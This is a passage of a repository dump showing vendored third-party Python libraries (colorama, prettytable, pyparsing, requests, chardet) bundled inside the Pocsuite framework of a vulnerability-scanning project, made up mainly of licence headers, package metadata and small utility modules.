AnsiFore: 19 | BLACK = 30 20 | RED = 31 21 | GREEN = 32 22 | YELLOW = 33 23 | BLUE = 34 24 | MAGENTA = 35 25 | CYAN = 36 26 | WHITE = 37 27 | RESET = 39 28 | 29 | class AnsiBack: 30 | BLACK = 40 31 | RED = 41 32 | GREEN = 42 33 | YELLOW = 43 34 | BLUE = 44 35 | MAGENTA = 45 36 | CYAN = 46 37 | WHITE = 47 38 | RESET = 49 39 | 40 | class AnsiStyle: 41 | BRIGHT = 1 42 | DIM = 2 43 | NORMAL = 22 44 | RESET_ALL = 0 45 | 46 | Fore = AnsiCodes( AnsiFore ) 47 | Back = AnsiCodes( AnsiBack ) 48 | Style = AnsiCodes( AnsiStyle ) 49 | 50 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/colorama/initialise.py: -------------------------------------------------------------------------------- 1 | import atexit 2 | import sys 3 | 4 | from .ansitowin32 import AnsiToWin32 5 | 6 | 7 | orig_stdout = sys.stdout 8 | orig_stderr = sys.stderr 9 | 10 | wrapped_stdout = sys.stdout 11 | wrapped_stderr = sys.stderr 12 | 13 | atexit_done = False 14 | 15 | 16 | def reset_all(): 17 | AnsiToWin32(orig_stdout).reset_all() 18 | 19 | 20 | def init(autoreset=False, convert=None, strip=None, wrap=True): 21 | 22 | if not wrap and any([autoreset, convert, strip]): 23 | raise ValueError('wrap=False conflicts with any other arg=True') 24 | 25 | global wrapped_stdout, wrapped_stderr 26 | sys.stdout = wrapped_stdout = \ 27 | wrap_stream(orig_stdout, convert, strip, autoreset, wrap) 28 | sys.stderr = wrapped_stderr = \ 29 | wrap_stream(orig_stderr, convert, strip, autoreset, wrap) 30 | 31 | global atexit_done 32 | if not atexit_done: 33 | atexit.register(reset_all) 34 | atexit_done = True 35 | 36 | 37 | def deinit(): 38 | sys.stdout = orig_stdout 39 | sys.stderr = orig_stderr 40 | 41 | 42 | def reinit(): 43 | sys.stdout = wrapped_stdout 44 | sys.stderr = wrapped_stdout 45 | 46 | 47 | def wrap_stream(stream, convert, strip, autoreset, wrap): 48 | if wrap: 49 | wrapper = AnsiToWin32(stream, 50 | convert=convert, strip=strip, autoreset=autoreset) 51 | if wrapper.should_wrap(): 52 | stream = wrapper.stream 53 | return stream 54 | 55 | 56 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/odict/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # The BSD License 4 | # 5 | # Copyright 2003-2008 Nicola Larosa, Michael Foord 6 | # 7 | # Permission is hereby granted, free of charge, to any person obtaining a copy 8 | # of this software and associated documentation files (the "Software"), to deal 9 | # in the Software without restriction, including without limitation the rights 10 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | # copies of the Software, and to permit persons to whom the Software is 12 | # furnished to do so, subject to the following conditions: 13 | # 14 | # The above copyright notice and this permission notice shall be included in 15 | # all copies or substantial portions of the Software. 16 | # 17 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 23 | # THE SOFTWARE. 24 | # 25 | 26 | pass 27 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/oset/LICENSE.txt: -------------------------------------------------------------------------------- 1 | License 2 | ======= 3 | 4 | Copyright (c) 2009, Raymond Hettinger, and others 5 | All rights reserved. 6 | 7 | Package structured based on the one developed to odict 8 | Copyright (c) 2010, BlueDynamics Alliance, Austria 9 | 10 | 11 | * Redistributions of source code must retain the above copyright notice, this 12 | list of conditions and the following disclaimer. 13 | * Redistributions in binary form must reproduce the above copyright notice, this 14 | list of conditions and the following disclaimer in the documentation and/or 15 | other materials provided with the distribution. 16 | * Neither the name of the BlueDynamics Alliance nor the names of its 17 | contributors may be used to endorse or promote products derived from this 18 | software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY BlueDynamics Alliance ``AS IS`` AND ANY 21 | EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 22 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL BlueDynamics Alliance BE LIABLE FOR ANY 24 | DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 25 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 26 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 27 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 29 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/oset/__init__.py: -------------------------------------------------------------------------------- 1 | """Main Ordered Set module """ 2 | 3 | from pyoset import oset 4 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/prettytable/COPYING: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2009-2013 Luke Maurits 2 | # All rights reserved. 3 | # With contributions from: 4 | # * Chris Clark 5 | # * Christoph Robbert 6 | # * Klein Stephane 7 | # * "maartendb" 8 | # 9 | # Redistribution and use in source and binary forms, with or without 10 | # modification, are permitted provided that the following conditions are met: 11 | # 12 | # * Redistributions of source code must retain the above copyright notice, 13 | # this list of conditions and the following disclaimer. 14 | # * Redistributions in binary form must reproduce the above copyright notice, 15 | # this list of conditions and the following disclaimer in the documentation 16 | # and/or other materials provided with the distribution. 17 | # * The name of the author may not be used to endorse or promote products 18 | # derived from this software without specific prior written permission. 19 | # 20 | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 23 | # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 24 | # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 25 | # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 26 | # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 27 | # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 28 | # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 29 | # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 30 | # POSSIBILITY OF SUCH DAMAGE. 31 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/prettytable/MANIFEST.in: -------------------------------------------------------------------------------- 1 | include COPYING 2 | include CHANGELOG 3 | include README 4 | include prettytable_test.py 5 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/prettytable/PKG-INFO: -------------------------------------------------------------------------------- 1 | Metadata-Version: 1.0 2 | Name: prettytable 3 | Version: 0.7.2 4 | Summary: A simple Python library for easily displaying tabular data in a visually appealing ASCII table format 5 | Home-page: http://code.google.com/p/prettytable 6 | Author: Luke Maurits 7 | Author-email: luke@maurits.id.au 8 | License: BSD (3 clause) 9 | Description: UNKNOWN 10 | Platform: UNKNOWN 11 | Classifier: Programming Language :: Python 12 | Classifier: Programming Language :: Python :: 2.4 13 | Classifier: Programming Language :: Python :: 2.5 14 | Classifier: Programming Language :: Python :: 2.6 15 | Classifier: Programming Language :: Python :: 2.7 16 | Classifier: Programming Language :: Python :: 3 17 | Classifier: License :: OSI Approved :: BSD License 18 | Classifier: Topic :: Text Processing 19 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/prettytable/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/pyparsing/CHANGES: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/vulscan/Pocsuite/pocsuite/thirdparty/pyparsing/CHANGES -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/pyparsing/LICENSE: -------------------------------------------------------------------------------- 1 | Permission is hereby granted, free of charge, to any person obtaining 2 | a copy of this software and associated documentation files (the 3 | "Software"), to deal in the Software without restriction, including 4 | without limitation the rights to use, copy, modify, merge, publish, 5 | distribute, sublicense, and/or sell copies of the Software, and to 6 | permit persons to whom the Software is furnished to do so, subject to 7 | the following conditions: 8 | 9 | The above copyright notice and this permission notice shall be 10 | included in all copies or substantial portions of the Software. 11 | 12 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 13 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 14 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 15 | IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY 16 | CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, 17 | TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE 18 | SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 19 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/pyparsing/PKG-INFO: -------------------------------------------------------------------------------- 1 | Metadata-Version: 1.0 2 | Name: pyparsing 3 | Version: 2.0.3 4 | Summary: Python parsing module 5 | Home-page: http://pyparsing.wikispaces.com/ 6 | Author: Paul McGuire 7 | Author-email: ptmcg@users.sourceforge.net 8 | License: MIT License 9 | Download-URL: http://sourceforge.net/project/showfiles.php?group_id=97203 10 | Description: UNKNOWN 11 | Platform: UNKNOWN 12 | Classifier: Development Status :: 5 - Production/Stable 13 | Classifier: Intended Audience :: Developers 14 | Classifier: Intended Audience :: Information Technology 15 | Classifier: License :: OSI Approved :: MIT License 16 | Classifier: Operating System :: OS Independent 17 | Classifier: Programming Language :: Python 18 | Classifier: Programming Language :: Python :: 2.6 19 | Classifier: Programming Language :: Python :: 2.7 20 | Classifier: Programming Language :: Python :: 3 21 | Classifier: Programming Language :: Python :: 3.0 22 | Classifier: Programming Language :: Python :: 3.1 23 | Classifier: Programming Language :: Python :: 3.2 24 | Classifier: Programming Language :: Python :: 3.3 25 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/pyparsing/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/pyparsing/htmldoc/crarr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/vulscan/Pocsuite/pocsuite/thirdparty/pyparsing/htmldoc/crarr.png -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/pyparsing/htmldoc/frames.html: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | pyparsing 7 | 8 | 9 | 10 | 12 | 14 | 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/pyparsing/htmldoc/index.html: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | pyparsing 7 | 8 | 9 | 10 | 12 | 14 | 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/pyparsing/htmldoc/pyparsing_2.0.2_docs.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/vulscan/Pocsuite/pocsuite/thirdparty/pyparsing/htmldoc/pyparsing_2.0.2_docs.zip -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/pyparsing/htmldoc/toc.html: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | Table of Contents 7 | 8 | 9 | 10 | 11 | 13 |

Table of Contents

14 |
15 | Everything 16 |
17 |

Modules

18 | pyparsing.pyparsing

20 | 21 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/pyparsing/pyparsingClassDiagram.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/vulscan/Pocsuite/pocsuite/thirdparty/pyparsing/pyparsingClassDiagram.JPG -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/pyparsing/pyparsingClassDiagram.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/vulscan/Pocsuite/pocsuite/thirdparty/pyparsing/pyparsingClassDiagram.PNG -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/pyparsing/robots.txt: -------------------------------------------------------------------------------- 1 | User-agent: * 2 | Disallow: /htmldoc 3 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/pyparsing/setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """Setup script for the pyparsing module distribution.""" 4 | from distutils.core import setup 5 | 6 | import sys 7 | import os 8 | 9 | from pyparsing import __version__ as pyparsing_version 10 | 11 | modules = ["pyparsing",] 12 | 13 | setup(# Distribution meta-data 14 | name = "pyparsing", 15 | version = pyparsing_version, 16 | description = "Python parsing module", 17 | author = "Paul McGuire", 18 | author_email = "ptmcg@users.sourceforge.net", 19 | url = "http://pyparsing.wikispaces.com/", 20 | download_url = "http://sourceforge.net/project/showfiles.php?group_id=97203", 21 | license = "MIT License", 22 | py_modules = modules, 23 | classifiers=[ 24 | 'Development Status :: 5 - Production/Stable', 25 | 'Intended Audience :: Developers', 26 | 'Intended Audience :: Information Technology', 27 | 'License :: OSI Approved :: MIT License', 28 | 'Operating System :: OS Independent', 29 | 'Programming Language :: Python', 30 | 'Programming Language :: Python :: 2.6', 31 | 'Programming Language :: Python :: 2.7', 32 | 'Programming Language :: Python :: 3', 33 | 'Programming Language :: Python :: 3.0', 34 | 'Programming Language :: Python :: 3.1', 35 | 'Programming Language :: Python :: 3.2', 36 | 'Programming Language :: Python :: 3.3', 37 | ] 38 | ) 39 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/requests/certs.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | certs.py 6 | ~~~~~~~~ 7 | 8 | This module returns the preferred default CA certificate bundle. 9 | 10 | If you are packaging Requests, e.g., for a Linux distribution or a managed 11 | environment, you can change the definition of where() to return a separately 12 | packaged CA bundle. 13 | """ 14 | import os.path 15 | 16 | try: 17 | from certifi import where 18 | except ImportError: 19 | def where(): 20 | """Return the preferred certificate bundle.""" 21 | # vendored bundle inside Requests 22 | return os.path.join(os.path.dirname(__file__), 'cacert.pem') 23 | 24 | if __name__ == '__main__': 25 | print(where()) 26 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/requests/compat.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | pythoncompat 5 | """ 6 | 7 | from .packages import chardet 8 | 9 | import sys 10 | 11 | # ------- 12 | # Pythons 13 | # ------- 14 | 15 | # Syntax sugar. 16 | _ver = sys.version_info 17 | 18 | #: Python 2.x? 19 | is_py2 = (_ver[0] == 2) 20 | 21 | #: Python 3.x? 22 | is_py3 = (_ver[0] == 3) 23 | 24 | try: 25 | import simplejson as json 26 | except (ImportError, SyntaxError): 27 | # simplejson does not support Python 3.2, it throws a SyntaxError 28 | # because of u'...' Unicode literals. 29 | import json 30 | 31 | # --------- 32 | # Specifics 33 | # --------- 34 | 35 | if is_py2: 36 | from urllib import quote, unquote, quote_plus, unquote_plus, urlencode, getproxies, proxy_bypass 37 | from urlparse import urlparse, urlunparse, urljoin, urlsplit, urldefrag 38 | from urllib2 import parse_http_list 39 | import cookielib 40 | from Cookie import Morsel 41 | from StringIO import StringIO 42 | from .packages.urllib3.packages.ordered_dict import OrderedDict 43 | 44 | builtin_str = str 45 | bytes = str 46 | str = unicode 47 | basestring = basestring 48 | numeric_types = (int, long, float) 49 | 50 | elif is_py3: 51 | from urllib.parse import urlparse, urlunparse, urljoin, urlsplit, urlencode, quote, unquote, quote_plus, unquote_plus, urldefrag 52 | from urllib.request import parse_http_list, getproxies, proxy_bypass 53 | from http import cookiejar as cookielib 54 | from http.cookies import Morsel 55 | from io import StringIO 56 | from collections import OrderedDict 57 | 58 | builtin_str = str 59 | str = str 60 | bytes = bytes 61 | basestring = (str, bytes) 62 | numeric_types = (int, float) 63 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/requests/hooks.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | requests.hooks 5 | ~~~~~~~~~~~~~~ 6 | 7 | This module provides the capabilities for the Requests hooks system. 8 | 9 | Available hooks: 10 | 11 | ``response``: 12 | The response generated from a Request. 13 | 14 | """ 15 | 16 | 17 | HOOKS = ['response'] 18 | 19 | 20 | def default_hooks(): 21 | hooks = {} 22 | for event in HOOKS: 23 | hooks[event] = [] 24 | return hooks 25 | 26 | # TODO: response is the only one 27 | 28 | 29 | def dispatch_hook(key, hooks, hook_data, **kwargs): 30 | """Dispatches a hook dictionary on a given piece of data.""" 31 | 32 | hooks = hooks or dict() 33 | 34 | if key in hooks: 35 | hooks = hooks.get(key) 36 | 37 | if hasattr(hooks, '__call__'): 38 | hooks = [hooks] 39 | 40 | for hook in hooks: 41 | _hook_data = hook(hook_data, **kwargs) 42 | if _hook_data is not None: 43 | hook_data = _hook_data 44 | 45 | return hook_data 46 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/requests/packages/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from . import urllib3 4 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/requests/packages/chardet/__init__.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # This library is free software; you can redistribute it and/or 3 | # modify it under the terms of the GNU Lesser General Public 4 | # License as published by the Free Software Foundation; either 5 | # version 2.1 of the License, or (at your option) any later version. 6 | # 7 | # This library is distributed in the hope that it will be useful, 8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 10 | # Lesser General Public License for more details. 11 | # 12 | # You should have received a copy of the GNU Lesser General Public 13 | # License along with this library; if not, write to the Free Software 14 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 15 | # 02110-1301 USA 16 | ######################### END LICENSE BLOCK ######################### 17 | 18 | __version__ = "2.3.0" 19 | from sys import version_info 20 | 21 | 22 | def detect(aBuf): 23 | if ((version_info < (3, 0) and isinstance(aBuf, unicode)) or 24 | (version_info >= (3, 0) and not isinstance(aBuf, bytes))): 25 | raise ValueError('Expected a bytes object, not a unicode object') 26 | 27 | from . import universaldetector 28 | u = universaldetector.UniversalDetector() 29 | u.reset() 30 | u.feed(aBuf) 31 | u.close() 32 | return u.result 33 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/requests/packages/chardet/big5prober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is Mozilla Communicator client code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from .mbcharsetprober import MultiByteCharSetProber 29 | from .codingstatemachine import CodingStateMachine 30 | from .chardistribution import Big5DistributionAnalysis 31 | from .mbcssm import Big5SMModel 32 | 33 | 34 | class Big5Prober(MultiByteCharSetProber): 35 | def __init__(self): 36 | MultiByteCharSetProber.__init__(self) 37 | self._mCodingSM = CodingStateMachine(Big5SMModel) 38 | self._mDistributionAnalyzer = Big5DistributionAnalysis() 39 | self.reset() 40 | 41 | def get_charset_name(self): 42 | return "Big5" 43 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/requests/packages/chardet/compat.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # Contributor(s): 3 | # Ian Cordasco - port to Python 4 | # 5 | # This library is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU Lesser General Public 7 | # License as published by the Free Software Foundation; either 8 | # version 2.1 of the License, or (at your option) any later version. 9 | # 10 | # This library is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 13 | # Lesser General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU Lesser General Public 16 | # License along with this library; if not, write to the Free Software 17 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 18 | # 02110-1301 USA 19 | ######################### END LICENSE BLOCK ######################### 20 | 21 | import sys 22 | 23 | 24 | if sys.version_info < (3, 0): 25 | base_str = (str, unicode) 26 | else: 27 | base_str = (bytes, str) 28 | 29 | 30 | def wrap_ord(a): 31 | if sys.version_info < (3, 0) and isinstance(a, base_str): 32 | return ord(a) 33 | else: 34 | return a 35 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/requests/packages/chardet/constants.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is Mozilla Universal charset detector code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 2001 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # Shy Shalom - original C code 12 | # 13 | # This library is free software; you can redistribute it and/or 14 | # modify it under the terms of the GNU Lesser General Public 15 | # License as published by the Free Software Foundation; either 16 | # version 2.1 of the License, or (at your option) any later version. 17 | # 18 | # This library is distributed in the hope that it will be useful, 19 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 20 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 21 | # Lesser General Public License for more details. 22 | # 23 | # You should have received a copy of the GNU Lesser General Public 24 | # License along with this library; if not, write to the Free Software 25 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 26 | # 02110-1301 USA 27 | ######################### END LICENSE BLOCK ######################### 28 | 29 | _debug = 0 30 | 31 | eDetecting = 0 32 | eFoundIt = 1 33 | eNotMe = 2 34 | 35 | eStart = 0 36 | eError = 1 37 | eItsMe = 2 38 | 39 | SHORTCUT_THRESHOLD = 0.95 40 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/requests/packages/chardet/euckrprober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is mozilla.org code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from .mbcharsetprober import MultiByteCharSetProber 29 | from .codingstatemachine import CodingStateMachine 30 | from .chardistribution import EUCKRDistributionAnalysis 31 | from .mbcssm import EUCKRSMModel 32 | 33 | 34 | class EUCKRProber(MultiByteCharSetProber): 35 | def __init__(self): 36 | MultiByteCharSetProber.__init__(self) 37 | self._mCodingSM = CodingStateMachine(EUCKRSMModel) 38 | self._mDistributionAnalyzer = EUCKRDistributionAnalysis() 39 | self.reset() 40 | 41 | def get_charset_name(self): 42 | return "EUC-KR" 43 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/requests/packages/chardet/euctwprober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is mozilla.org code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from .mbcharsetprober import MultiByteCharSetProber 29 | from .codingstatemachine import CodingStateMachine 30 | from .chardistribution import EUCTWDistributionAnalysis 31 | from .mbcssm import EUCTWSMModel 32 | 33 | class EUCTWProber(MultiByteCharSetProber): 34 | def __init__(self): 35 | MultiByteCharSetProber.__init__(self) 36 | self._mCodingSM = CodingStateMachine(EUCTWSMModel) 37 | self._mDistributionAnalyzer = EUCTWDistributionAnalysis() 38 | self.reset() 39 | 40 | def get_charset_name(self): 41 | return "EUC-TW" 42 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/thirdparty/requests/packages/chardet/gb2312prober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is mozilla.org code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from .mbcharsetprober import MultiByteCharSetProber 29 | from .codingstatemachine import CodingStateMachine 30 | from .chardistribution import GB2312DistributionAnalysis 31 | from .mbcssm import GB2312SMModel 32 | 33 | class GB2312Prober(MultiByteCharSetProber): 34 | 